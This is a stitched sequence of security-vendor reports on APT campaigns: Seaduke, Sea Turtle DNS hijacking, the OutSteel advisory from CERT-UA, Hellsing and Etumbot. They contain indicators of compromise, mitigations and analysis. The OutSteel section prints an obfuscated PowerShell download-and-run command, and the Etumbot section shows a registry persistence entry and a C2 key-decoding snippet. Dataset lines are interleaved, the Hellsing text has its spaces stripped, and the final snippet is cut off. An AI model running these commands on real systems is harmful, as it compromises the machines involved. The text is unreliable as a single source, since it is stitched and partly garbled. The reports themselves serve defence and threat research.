in Python, the overall framework bears a striking resemblance to Cozyduke in terms of operation. Its unclear why the attackers waited until October to deploy Seaduke. Was it reserved for a more specific attack? Was part of their cover blown, necessitating the use of an alternative framework? The Seaduke framework was designed to be highly configurable. Hundreds of reconfigurations were identified on compromised networks. The communication protocol employed had many layers of encryption and obfuscation, using over 200 compromised web servers for command and control. Seaduke required a significant investment of time and resources in the preparatory and operational phases of the attack. Seaduke delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading tasks to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website. Figure 2. How the attacker tasks Cozer to install Seaduke Seaduke operation The attackers can operate Seaduke in a broadly similar fashion to Cozyduke. The Seaduke control infrastructure is essentially distinct, opening up the possibility of sub-teams concurrently exploiting the target network. Unlike Cozyduke, Seaduke operators upload task files directly to the command- and-control (CC) server there is no database as such present. Seaduke securely communicates with the CC server over HTTP/HTTPS beneath layers of encoding (Base64) and encryption (RC4, AES). To an untrained eye, the communications look fairly benign, no doubt an effort to stay under the radar on compromised networks. Figure 3. How Seaduke operates on the target network Seaduke has many inbuilt commands which are available to the attackers. They have the ability to retrieve detailed bot/system information, update bot configuration, upload files, download files, and self- delete the malware from the system. The self-delete function is interestingly called seppuku. This is a form of Japanese ritual suicide. Seaduke payloads The attackers have also developed a number of additional payloads. Operators can push these payloads onto infected machines for very specific attacks. Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) Email extraction from the MS Exchange Server using compromised credentials Archiving sensitive information Data exfiltration via legitimate cloud services Secure file deletion What next? The Duke group has brought its operational capability to the next level. Its attacks have been so bold and aggressive, that a huge amount of attention has been drawn to it, yet it appears to be unperturbed. Its success at compromising such high-profile targets has no doubt added a few feathers to its cap. Even the developers reveled in this fact, naming one of Seadukes functions forkmeiamfamous. While the group is currently keeping a lower profile, theres no doubt it will reappear. Some tools may have to be abandoned, some reworked and others built completely from scratch. This attack group is in it for the long haul. Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html By Danny Adamitis with contributions from Paul Rascagneres. Executive summary After several months of activity, the actors behind the Sea Turtle DNS hijacking campaign are not slowing down. Cisco Talos recently discovered new details that suggest they regrouped after we published our initial findings and coverage and are redoubling their efforts with new infrastructure. While many actors will slow down once they are discovered, this group appears to be unusually brazen, and will be unlikely to be deterred going forward. Additionally, we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle. This new technique is similar in that the threat actors compromise the name server records and respond to DNS requests with falsified A records. This new technique has only been observed in a few highly targeted operations. We also identified a new wave of victims, including a country code top-level domain (ccTLD) registry, which manages the DNS records for every domain uses that particular country code, that access was used to then compromise additional government entities. Unfortunately, unless there are significant changes made to better secure DNS, these sorts of attacks are going to remain prevalent. New DNS hijacking technique 1/6 https://blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html https://3.bp.blogspot.com/-aHWsqGmU9Lc/XSStHSArv0I/AAAAAAAAHLo/-OX42CLiPqgN2AD0GbuJeAbAOrO23cRswCK4BGAYYCw/s1600/sea2Bturtle.jpg https://twitter.com/dadamitis https://twitter.com/r00tbsd https://blog.talosintelligence.com/2019/04/seaturtle.html https://1.bp.blogspot.com/-4C1_JkIV61w/XSQ665oXXrI/AAAAAAAAArI/dVm6MId3ap4HfXGde7ygvxtawsfB-HEkACLcBGAs/s1600/image1.png Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique. This new technique has been used very sparingly, and thus far have only identified two entities that were targeted in 2018, though we believe there are likely more. This new technique once again involved modifying the target domains name server records to point legitimate users to the actor-controlled server. In this case, the actor-controlled name server and the hijacked hostnames would both resolve to the same IP address for a short period of time, typically less than 24 hours. In both observed cases, one of the hijacked hostnames would reference an email service and the threat actors would presumably harvest user credentials. One aspect of this technique that makes it extremely difficult to track is that the actor-controlled name servers were not used across multiple targets meaning that every entity hijacked with this technique had its own dedicated name server hostname and its own dedicated IP address. Whereas previously reported name server domains such as ns1[.]intersecdns[. ]com were used to target multiple organizations. In one case, a private organization primarily used a third-party service as their authoritative name server. Then, for a three-hour window in January 2018, their name server records were changed to a name server hostname that mimicked a slightly different version of the organizations name. During that three-hour window, the actor-controlled IP address hosted three hostnames, the two actor-controlled name servers and the webmail hostname. This would allow the threat actors to perform a man-in-the-middle (MitM) attack, as outlined in our previous post, and harvest credentials. This technique was also observed against a government organizations in the Middle East and North African region. Continued activity against ccTLD The Institute of Computer Science of the Foundation for Research and Technology - Hellas (ICS-Forth), the ccTLD for Greece, acknowledged on its public website that its network had been compromised on April 19, 2019. Based on Cisco telemetry, we determined that the actors behind the Sea Turtle campaign had access to the ICS-Forth network. Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS- Forth network from an operational command and control (C2) node. Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24, five days after the statement was publicly released. Upon analysis of this operational C2 node, we determined that it was also used to access an organization in Syria that was previously redirected using the actor-controlled name server ns1[.]intersecdns[. ]com. This indicates that the same threat actors were behind both operations. 2/6 https://techblog.gr/internet/kyvernoepithesi-ypesti-to-mitroo-onomaton-internet-katalixi-gr-el/ We also saw evidence that the threat actors researched the open-source tool PHP-Proxy. Notably, this particular C2 node searched for both blog.talosintelligence.com and ncsc.gov.uk, presumably to view Talos previous reports on DNS hijacking and this DNS hijacking advisory from the United Kingdoms National Cyber Security Centre. New actor-controlled nameserver We recently discovered a new actor-controlled nameserver, rootdnservers[. ]com, that exhibited similar behavior patterns as name servers previously utilized as part of the Sea Turtle campaign. The domain rootdnservers[. ]com was registered on April 5, 2019 through the registrar NameCheap. The new actor-controlled name server rootdnservers[. ]com was utilized to perform DNS hijacking against three government entities that all used .gr, the Greek ccTLD. Its likely that these hijackings were performed through the access the threat actors obtained in the ICS-Forth network. Below is a table showing the three most recent actor-controlled name servers that we have associated with this activity and their current operational status.
286
Hostnames IP addresses Operational Status ns1[.]rootdnservers[.
59,906
59,935
30
data/reports_final/0286.txt
Hostnames IP addresses Operational Status ns1[.]rootdnservers[. ]com. 45[.]32[.]100[. ]62 Active ns2[.]rootdnservers[. ]com. 45[.]32[.]100[. ]62 Active ns1[.]intersecdns[. ]com 95[.]179[.]150[. ]101 Inactive ns2[.]intersecdns[. ]com 95[.]179[.]150[. ]101 Inactive New IP addresses associated with man-in-the-middle activity By identifying the targeted domains, we were able to identify the hijacked hostnames and the corresponding actor-controlled MitM nodes. The threat actors, again employing previously documented tradecraft, by performing a certificate impersonation technique. This is where the threat actors procure an SSL certificate for the targeted hostname from a different SSL provider. Below is a table showing the dates and associated IP addresses. Date IP address April 13, 2019 95[.]179[.]131[. ]225 April 16, 2019 95[.]179[.]131[. ]225 April 11, 2019 95[.]179[.]131[. ]225 3/6 https://www.php-proxy.com/ https://www.ncsc.gov.uk/news/alert-dns-hijacking-activity April 11, 2019 140[.]82[.]58[. ]253 April 10, 2019 95[.]179[.]156[. ]61 Updated victimology Since our initial report, Sea Turtle has continued to compromise a number of different entities to fulfill their requirements. We have identified some of the new primary targets as: Government organizations Energy companies Think tanks International non-governmental organizations At least one airport In terms of secondary targets, we have seen very similar targets as those previously reported, such as telecommunications providers, internet service providers and one registry. Coverage and mitigations In order to best protect against this type of attack, we compiled a list of potential actions. We have included additional security recommendations, that were highlighted by Bill Woodcock during his presentations on DNS/IMAP attacks. We recommend implementing multi-factor authentication, such as DUO, to secure the management of your organizations DNS records at your registrar, and to connect remotely to your corporate network via a Virtual Private Network (VPN). 4/6 https://www.youtube.com/watch?voNF6TE75mzg Talos suggests a registry lock service on your domain names, which will require the registrar to provide an out-of-band confirmation before the registry will process any changes to an organizations DNS record. DNSSEC sign your domains, either in-house, or using a DNS service provider which performs DNSSEC key-management services. DNSSEC validate all DNS lookups in your recursive resolver, either using in-house nameservers, or a service like Cisco Umbrella / OpenDNS. Make Internet Message Access Protocol (IMAP) email servers accessible only from your corporate LAN and to users who have already authenticated over a VPN. If you suspect you were targeted by this type of activity, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network. Lastly, network administrators can monitor passive DNS record on their domains, to check for abnormalities.
287
Indicators of compromise IP address Characterization Date Range 185[.]64[.]105[.
59,936
59,990
55
data/reports_final/0287.txt
Indicators of compromise IP address Characterization Date Range 185[.]64[.]105[. ]100 Operational Node March - April 2019 178[.]17[.]167[. ]51 Operational Node June 2019 95[.]179[.]131[. ]225 Mitm Node April 2019 140[.]82[.]58[. ]253 Mitm Node April 2019 95[.]179[.]156[. ]61 Mitm Node April 2019 196[.]29[.]187[. ]100 Mitm Node December 2018 188[.]226[.]192[. ]35 Mitm Node January 2018 ns1[.]rootdnservers[. ]com Actor-controlled nameserver April 2019 ns2[.]rootdnservers[. ]com Actor-controlled nameserver April 2019 45[.]32[.]100[. ]62 Hosted malicious nameserver April 2019 ns1[.]intersecdns[. ]com Actor-controlled nameserver February - April 2019 ns2[.]intersecdns[. ]com Actor-controlled nameserver February - April 2019 95[.]179[.]150[. ]101 Hosted malicious nameserver February - July 2019 5/6 6/6 Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques Executive summary New DNS hijacking technique Continued activity against ccTLD New actor-controlled nameserver New IP addresses associated with man-in-the-middle activity Updated victimology Coverage and mitigations Indicators of compromise 1/3 CERT-UA cert.gov.ua/article/18419 general information The Governmental Computer Emergency Response Team of Ukraine CERT-UA received information from the coordinating entity on the dissemination, allegedly on behalf of the National Police of Ukraine, of e-mails with attachments in the form of password-protected DOCX documents, such as Crime Report (Belous Alexei Sergeevich) .docx or Report of a crime.docx . These documents contain built-in objects, the activation of which will create and run a Javascript file on your computer, such as GSU207POLICE.GOV.UA - Message (2) .js. The latter, using powershell, will connect to the Discord service and download and execute an EXE file, which will damage the victims computer with the malicious program OutSteel (compilation date: 30.01.2022). The activity is associated with the activities of the UAC-0056 group. Indicators of compromise Files: 4d01975268c215fc26ed79ebd17ec22d Report on the commission of a crime (Belous Alexei Sergeevich) .docx 12ed130045b2e731bc66c9261c88efaa GSU207POLICE.GOV.UA - Messages (2) .js 22c1d43016cb2b8b9e5e5e9895526354 Report of a crime .docx 0e3c3fe6167485807c4d36a904dfcae1 GSU207POLICE.GOV.UA - Messages (17) .js 259f06fcdb971f606d239b3178110981 putty.exe ccc3750d9270d1e8c95649d91f94033b putty.dmp.exe (OutSteel) 5fa2c64ed3e9944030b6fd9f3d3d7102 puttyjejfrwu.exe 57a10dad336f1a6cb206dca7ddd3fcaf AutoIt.exe (OutSteel) ab2a92e0fc5a6f63336e442f34089f16 1406.exe (SaintBot) af9a60ea728985f492119ebf713e0716 load4849kd30.exe (SaintBot) 247165c7d96bf443b6a7360a44b7dcfb f0d.exe cd8915c63f3134425aa7c851f5f1e645 f1d.exe Network: hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938291977735266344 / putty.exe hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938317934026170408 / puttyjejfrwu.exe hxxp: //185.244.41 [.] 109: 8080 / upld / hxxp: // eumr [.] site / load74h74830.exe 185.244.41 [.] 109 eumr [.] site mariaparsons10811 gmail [.] com https://cert.gov.ua/article/18419 2/3 Hosts: PUBLIC \ GoogleChromeUpdate.exe USERPROFILE \ Documents \ .exe TEMP \ GSU207POLICE.GOV.UA - Message (2) .js TEMP \ rmm.bat TEMP \ svjhost.exe Processes: 1 powershell.exe USERPROFILE \ Documents \ .exe 11 powershell.exe USERPROFILE \ Documents \ .exe 3 powershell.exe address: 443 22 powershell.exe cdn.discordapp [.] Com 1 wscript.exe powershell.exe SYSTEMROOT \ System32 \ WindowsPowerShell \ v1.0 \ powershell.exe [NeT.seRvIcepOiNtmanAgER] :: sECURITyPROToCOL [neT.SEcurITypRotOcoLType] :: Tls12 Irm -uRI (hxxps: //cdn.discordapp [.] Com / attachments / 932413459872747544/938291977735266344 / putty.exe) -outfilE enV: PuBLICGoogleChromeUpdate.exe sTArt-pRoceSs eNV: pUBLIcGoogleChromeUpdate.exe 1 WINWORD.EXE wscript.exe SYSTEMROOT \ System32 \ WScript.exe TEMP \ GSU207POLICE.GOV.UA - Messages (2) .js Additional Information We recommend that you block access to services on the Internet that are not necessary and / or may create additional risks (such as Discord). We draw your attention to the correct configuration of security policies and security measures for your computer, namely: prohibit MS Office processes (in particular, WINWORD.EXE) from running potentially dangerous programs, in this case - wscript.exe (Sysmon EventID: 1) monitor network connections (Sysmon EventID: 3.22) of potentially dangerous programs (powershell.exe, etc.) Graphic images 3/3 Fig. 1 Example of an email and a malicious document 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 1/10 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist securelist.com Updated Apr 15th, 2015 TheChroniclesoftheHellsingAPT:theEmpireStrikesBack Introduction OneofthemostactiveAPTgroupsinAsia,andespeciallyaroundtheSouthChinaSeaareais Naikon. Naikonplaysakeypartinourstory,butthefocusofthisreportisonanotherthreatactor entirelyonewhocametoourattentionwhentheyhitbackataNaikonattack. Naikonisknownforitscustombackdoor,calledRARSTONE,whichourcolleaguesatTrendMicrohave describedindetail. ThenameNaikoncomesfromacustomuseragentstring,NOKIAN95/WEB, locatedwithinthebackdoor: NOKIANstringinNaikonbackdoor TheNaikongroupismostlyactiveincountriessuchasthePhilippines,Malaysia,Cambodia,Indonesia, Vietnam,Myanmar,Singapore,andNepal,hittingavarietyoftargetsinaveryopportunisticway. What wasperhapsoneofthebiggestoperationsoftheNaikongroupwaslaunchedinMarch2014,inthe wakeoftheMH370tragedythattookplaceonMarch8th. ByMarch11th,theNaikongroupwasactively hittingmostofthenationsinvolvedinthesearchforMH370.Thetargetswereextremelywideranging butincludedinstitutionswithaccesstoinformationrelatedtothedisappearanceofMH370,suchas: OfficeofthePresident ArmedForces OfficeoftheCabinetSecretary NationalSecurityCouncil(s) OfficeoftheSolicitorGeneral NationalIntelligenceCoordinatingAgency CivilAviationAuthority DepartmentofJustice http://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/ 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 2/10 NationalPolice PresidentialManagementStaff TheNaikongroupusedmostlyspearphisheddocumentsfortheattacks,withCVE20120158exploits thatdroppedthegroupssignaturebackdoor. Whilemanyoftheseattacksweresuccessful,atleastoneofthetargetsdidntseemtolikebeing hit,andinsteadofopeningthedocuments,decidedonaverydifferentcourseofaction. Theempirestrikesback Heresaquestionwhatshouldyoudowhenyoureceivingasuspiciousdocumentfromsomebodyyou dontknow,orknowverylittle?Chooseone: Openthedocument Dontopenthedocument OpenthedocumentonaMac(everybodyknowsMacsdontgetviruses) OpenthedocumentinavirtualmachinewithLinux Basedonourexperience,mostpeoplewouldsay2,3or4.Veryfewwouldopenthedocumentand evenfewerwouldactuallydecidetotesttheattackerandverifyitsstory. ButthisisexactlywhathappenedwhenoneoftheNaikonspearphishingtargetsreceivedasuspicious email. Insteadofopeningthedocumentorchoosingtoopenitonanexoticplatform,theydecidedto checkthestorywiththesender: Naikontargetasksforconfirmationoftheemail Intheemailabove,wecanseethetargetquestioningtheauthenticityoftheNaikonspearphishing. Theyaskthesenderifitwastheirintentiontoemailthisdocument. Theattackerwas,ofcourse,notconfusedintheslightest,andbeingveryfamiliarwiththeinternal structureofthetargetsgovernmentagency,repliedclaimingthattheyworkforthesecretariatdivision andwereinstructedtosenditbytheorganizationsmanagement: 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 3/10 Naikonattackerrepliestothetarget ThereplyiswritteninpoorEnglishandindicatesthattheattackerisprobablynotasproficientinthe languageastheintendedvictim. Seeingthereply,thetargetobviouslydecidednottoopenthe document. Moreover,theydecidedtogoabitfurtherandtrytolearnmoreabouttheattacker. Notlongafterthefirstexchange,thefollowingemailwassenttotheattackerbythetarget: TheattachmentisaRARarchivewithpassword,whichallowsittosafelybypassmalwarescanners associatedwiththefreeemailaccountusedbytheattackers. Insidethearchivewefindtwodecode PDFfilesandoneSCRfile: Muchtooursurprise,theSCRfileturnedouttobeabackdoorpreparedespeciallyfortheNaikon fraudsters. ThefileDirectoryof...Mar31,2014.scr(md5:198fc1af5cd278091f36645a77c18ffa)dropsablank documentcontainingtheerrormessageandabackdoormodule(md5: 588f41b1f34b29529bc117346355113f).Thebackdoorconnectstothecommandserverlocatedat philippinenews[.]mooo[. ]com. Thebackdoorcanperformthefollowingactions: downloadfiles 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 4/10 downloadfiles uploadfiles updateitself uninstallitself WewereamazedtoseethiscourseofactionanddecidedtoinvestigatetheEmpireStrikesBackdoor furthernamingtheactorHellsing(explainedlater). Themalwareusedbytheintendedvictimappearstohavethefollowinggeographicaldistribution, accordingtoKSNdata: Malaysiagovernmentnetworks Philippinesgovernmentnetworks Indonesiagovernmentnetworks USAdiplomaticagencies India(oldversionsofmalware) Inaddition,weveobservedthetargetingofASEANrelatedentities. VictimsofHellsingattacks Theactortargetsitsintendedvictimsusingspearphishingemailswitharchivescontainingmalware, similartotheoneitusedagainsttheNaikongroup. Someoftheattachmentnamesweobserved include: 2013MidYearIAGMeetingAdminCircularFINAL.7z HSGFOLGITEMSFORUSEOFNEWLYPROMOTEDYNCFEDERICOPAMORADA798085PN CLN.zip HomeOfficeDirectoryasofMay2012.PleasefindattachedherethelatestDFAdirectoryandkey positionofficialsforyourreferenece.scr LOINr13512re2ndQuarter. Scr LetterfromPaquitoOchoatoAlbertDelRosario,theCurrentSecretaryofForeignAffairsofthe 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 5/10 LetterfromPaquitoOchoatoAlbertDelRosario,theCurrentSecretaryofForeignAffairsofthe Philippines.7z LettertoSND_OfficeCallandVisittoCommander,UnitedStatesPacificCommand(USPACOM) VER4.0.zip PAFACESFellowshipProgram.scr RANDAnalyticArchitectureforCapabilitiesBasedPlanning,MissionSystemAnalysis,and Transformation.scr UpdateAttachments_InteractionofMilitaryPersonnelwiththePresident_2012_06_28.rar UpdateSNDMeetingwiththePresidentreHasahasaShoalIncident.scr WashingtonDCDirectoryNovember2012EMBASSYOFTHEPHILIPPINES.zip ZPE7912012ZPE7922012.rar zpe7912012.PDF.scr WeveobservedRAR,ZIPand7ZIParchivesintheattacksthe7ZIParchiveswithpasswordswere probablyintroducedasawaytobypasstherecentsecurityfeaturesonGmail,whichblockpassword protectedarchiveswithexecutablesinside. Eachbackdoorhasacommandandcontrolserverinsideaswellasaversionnumberandacampaign orvictimidentifier.
288
Thegrouphasarelativelysmall footprintcomparedtomassiveoperationssuchasEquation.
60,035
60,545
511
data/reports_final/0288.txt
Thegrouphasarelativelysmall footprintcomparedtomassiveoperationssuchasEquation. Smallergroupscanhavetheadvantage ofbeingabletostayundertheradarforlongerperiodsoftime,whichiswhathappenedhere. ThetargetingoftheNaikongroupbytheHellsingAPTisperhapsthemostinterestingpart. Inthepast, weveseenAPTgroupsaccidentallyhittingeachotherwhilestealingaddressbooksfromvictimsand thenmassmailingeveryoneoneachoftheselists. But,consideringthetimingandoriginoftheattack, thecurrentcaseseemsmorelikelytobeanAPTonAPTattack. ToprotectagainstaHellsingattack,werecommendthatorganisationsfollowbasicsecuritybest practices: Dontopenattachmentsfrompeopleyoudontknow BewareofpasswordprotectedarchiveswhichcontainSCRorotherexecutablefilesinside Ifyouareunsureabouttheattachment,trytoopenitinasandbox Makesureyouhaveamodernoperatingsystemwithallpatchesinstalled UpdateallthirdpartyapplicationssuchasMicrosoftOffice,Java,AdobeFlashPlayerandAdobe Reader KasperskyLabproductsdetectthebackdoorsusedbytheHellsingattackeras: 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 10/10 Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web. Terms of Service Privacy Policy KasperskyLabproductsdetectthebackdoorsusedbytheHellsingattackeras: HEUR:Trojan. Win32.Generic,TrojanDropper. Win32.Agent.kbuj,Trojan Dropper. Win32.Agent.kzqq. DenytheHellsingAPTbydefault Appendix: HellsingIndicatorsofCompromise https://evernote.com/tos/ https://evernote.com/privacy/ Arbor Threat Intelligence Brief 2014-07 Copyright 2014 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Brief 2014-07 Illuminating the Etumbot APT Backdoor ASERT Threat Intelligence, June 2014 Etumbot is a backdoor used in targeted attacks since at least March 2011. Although previous research has covered a related family, IXESHE, little has been discussed regarding Etumbots capabilities. ASERT has observed several Etumbot samples using decoy documents involving Taiwanese and Japanese topics of interest, indicating the malware is used in ongoing, targeted campaigns. This report will provide information on the capabilities of Etumbot and associated campaign activity. Etumbot Capabilities and Techniques Etumbot is a backdoor malware that has been associated with a Chinese threat actor group alternatively known as Numbered Panda, APT12, DYNCALC/CALC Team, and IXESHE. Targeted campaigns attributed to this group include attacks on media, technology companies, and governments. IXESHE/Numbered Panda is known for using screen saver files (.scr), a technique repeated with the Etumbot malware. [ 1] A previous campaign using IXESHE malware was highlighted in 2012 the group used targeted emails with malicious PDF attachments to compromise East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company. The group has reportedly been active since at least July 2009. [ 2] Etumbot has also been referred to as Exploz [3] and Specfix. The variety of names for this malware could lead to some confusion about the actual threat. ASERT has associated Etumbot with IXESHE, and therefore Numbered Panda, based on similar system and network artifacts that are common between the malware families. For example, both malware families have been seen using the same ka4281x3.log and kb71271.log files, both families have been observed calling back to the same Command Control servers and have been used to target similar victim populations with similar attack methodologies. Etumbot has two primary components. The first is a dropper which contains the backdoor binary (the second component) and the distraction file. Stage one is likely delivered via spear phish using an archive file extension such as .7z to deliver executable content. Stage one has been seen to leverage the Unicode Right to Left Override trick combined with convincing icons for various types of PDFs or Microsoft Office documents to convince the user to click and therefore execute the malware, which then Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 2 Proprietary and Confidential Information of Arbor Networks, Inc. runs the backdoor and displays the distraction file. As with the IXESHE malware, Etumbot has been observed dropping documents of interest to a Taiwanese and Japanese target population. Stage 1: Installer/Dropper To profile the techniques and capabilities of Etumbot, we will analyze an Etumbot dropper with MD5 ff5a7a610746ab5492cc6ab284138852 and a compile date of March 4, 2014. When executed, the dropper loads up a resource named BINARY from the resource section then creates the directory C:\Documents and Settings\User\Application Data\JAVA, then creates a temporary file C:\DOCUME1\User\LOCALS1\Temp\ka4281x3.log then creates C:\Documents and Settings\User\Application Data\JAVA\JavaSvc.exe from the aforementioned BINARY resource. This file, JavaSvc.exe, is the backdoor component (MD5 82d4850a02375a7447d2d0381b642a72). JavaSvc.exe is executed with CreateProcessInternalW. The backdoor component of the malware (named here as JavaSvc.exe) is now running. It is interesting to note that versions of the IXESHE malware also used JavaSvc.exe as a filename. Most Etumbot samples observed by ASERT drop decoy documents (PDFs, Word Documents, and Excel Spreadsheets) written in Traditional Chinese and usually pertaining to Cross-Strait or Taiwanese Government interests. Several decoy files contain details on upcoming conferences in Taiwan. Spear Phishing Etumbot appears to be sent to targets via spear phishing emails as an archive ASERT has observed .7z and .rar formats being used to presumably deliver the Etumbot installer. The archive filename will have a topic most likely of interest to the victim. At least one identified malware sample (75193fc10145931ec0788d7c88fc8832, compiled in March 2014) uses a password-protected .7z to deliver the Etumbot installer. It is most likely that the spear phish email contained the password. With the correct password, the victim has access to the dropper inside the archive. This archive most likely included the installer d444be30d2773b23de38ead1f2c6d117, as the filenames match (1030522 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 3 .7z and 1030522 rcs. DOC). 1030522 is a date (May 22, 2014) from the Minguo calendar, which is unique to Taiwan. The calendar is based on the establishment of the Republic of China in 1911. 2014 is therefore the 103rd year of the ROC. The installer is a .scr binary posing as a Word Document. This dropper drops a decoy document and the backdoor, named sysupdate.exe in this instance. Right-to-Left Override After the files are extracted from the archive, the filenames of Etumbot installers make use of the right-to-left override (RTLO) trick in an attempt to trick users into clicking on the installer. The RTLO technique is a simple way for malware writers to disguise names of malicious files. A hidden Unicode character in the filename will reverse the order of the characters that follow it, so that a .scr binary file appears to be a .xls document, for example. Threat actors using this trick have been well documented since at least 2009. [ 4- 5] One way to avoid this trick in Windows is to set the Change your view level to Content. [ 6] Below are some of the names of Etumbot installers using RTLO successfully: File name Md5 Finarcs.doc b3830791b0a397bea2ad943d151f856b 1030522 rcs. DOC d444be30d2773b23de38ead1f2c6d117 Finarcs.xls 5340fcfb3d2fa263c280e9659d13ba93 10342- rcs.xls beb16ac99642f5c9382686fd8ee73e00 1030324 1 finalrcs.xls 4c703a8cfeded7f889872a86fb7c70cf APO EPIF rcs.xls 1ce47f76fca26b94b0b1d74610a734a4 Stage 2: Persistence, Distraction, HTTP Beacon and Crypto Functionality As the backdoor executes from our previous example, C:\DOCUME1\User\LOCALS1\Temp\ kb71271.log is created and contains the following registry file to make the malware persistent: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] JavaSvcC:\\Documents and Settings\\User\\Application Data\\JAVA\\JavaSvc.exe The dropper then calls regedit with kb71271.log as a parameter to modify the registry. kb71271.log is then deleted. These temp files appear to be static and used across multiple samples of Etumbot and IXESHE. Various other samples were found using this same naming scheme. Next, C:\DOCUME1\User\LOCALS1\Temp\ka4281x3.log is created, filled with contents of the bait/distraction file, and then copied to C:\DOCUME1\User\LOCALS1\Temp\t3fcj1.doc, which is then opened. If Word isnt installed, then notepad will open the file instead. The ka4281x3.log file is then deleted. Returning to the first sample, once the dropper (ff5a7a610746ab5492cc6ab284138852) installs the Etumbot backdoor (82d4850a02375a7447d2d0381b642a72), an initial HTTP beacon is sent to the Command Control server that requests an RC4 encryption key. The beacon takes the form of a GET request to /home/index.asp?typeidN where N is a randomly selected odd number between 1 and 13. If the CC is online, the decoded response payload will contain the RC4 key that is used to encrypt subsequent communication. If the CC does not send a valid response, the bot will re-send the initial request every 45 seconds. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 4 Proprietary and Confidential Information of Arbor Networks, Inc. While the user-agent may appear to be legitimate, it only occurred 39 times in a corpus of over 61 million HTTP requests. Due to the possibility of this User-Agent appearing in legitimate traffic, other indicators such as the additional fake Referer value of http://www.google.com should be present before compromise is assumed. All of the headers in the HTTP request are hard-coded in both order and value, so they may be used to provide additional indicators of compromise. If the CC is online and responds to the beacon, then the RC4 key is delivered to the bot in a string of base64 encoded characters. Etumbot uses a url-safe base64 alphabet, i.e., any characters that would require URL-encoding are replaced. Usage of base64 is a technique consistent with previous analysis done on IXESHE malware. [ 2,7] In the case of Base64, the / and characters are replaced with _ and - respectively. The payload from the CC contains an 8-byte command code in little-endian format, followed by a null-terminated string argument if the command requires it. In the case of the initial beacon response, the RC4 key is located after the command code and has been observed to be e65wb24n5 for all live CCs that ASERT has analyzed. An example of this initial beacon and delivery of RC4 key is as follows. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 5 The RC4 key can be obtained from the CC response with the following python: import base64 c2_responseAQAAAAAAAABlNjV3YjI0bjUAAAAAAAAAAAAAAG5FAVBvIz8hYk08ITI4BA0lMTBvBRx0NB18 BndMcFMKQhR5PxxkQ3VnFEALeXA6C3RPBmJLHBBccHQINEl9I3kMUk0lOT4wCFgqD3khTjl5IEAqGzU_DmtU eEJBYSQHEiwRADteMEFjTw5oXgtjGkUxL14JPlwyYQQXPkVaQiAyUBEaJWlkOQEmZRoXZ10EN3RndH0kbEEre w0NUklhFRlpNDJofS1hPQMCeWUvHSQPA2ZAPHEcCRkLPURbCC8bdTgIXXcIBhBbVlhjdB8iL2Y_TCNldTNjZkE vB0M5BWtaOkBALj4KIA5UBjhVPxhhSk1fAwdKKi8zdhl6TkthRUZAOQdICRgFEgY0dwpQNjtlQgR8DzM9N3NQ BhteHgdwaVtycDZvS1Q3CTYhARI1GBMrWh1FQxcdQhV7MSxNQxqFHgVKHRAdBIBIzNFP14gLHErBAYeWH 1jGCMAdlx5MWAuFk5TW3MUxFMclIsclEAbzgzB2NSOX0iYBBucmthDyYaZR8tBBMbJjMoCXleMkMYjdfCHc xIUBHbicRiEeNwAvWD40W2p0diUyCTJHFEUKRcZFVJTA0zHgxwAiJva306KXkIL3ZnRwAIKCh4M3sgFgZ ZGU9lFXg4ancZFSAlNl1RaRQ8b3drCWofbWBfkIyKEJ8AnJlaUAxEglWZSMTWFEAE4aCnFpe1JpB1xTBSgfE UwVUh1UDE5UVC1qanIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkFgMWJHdRhzRSdrKwk_KWAadyAqMEg2MlE YNVl9Wl84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBYG2sADmJXUC9OCixmBEYUNGBXATh0QVxUNTwyQ 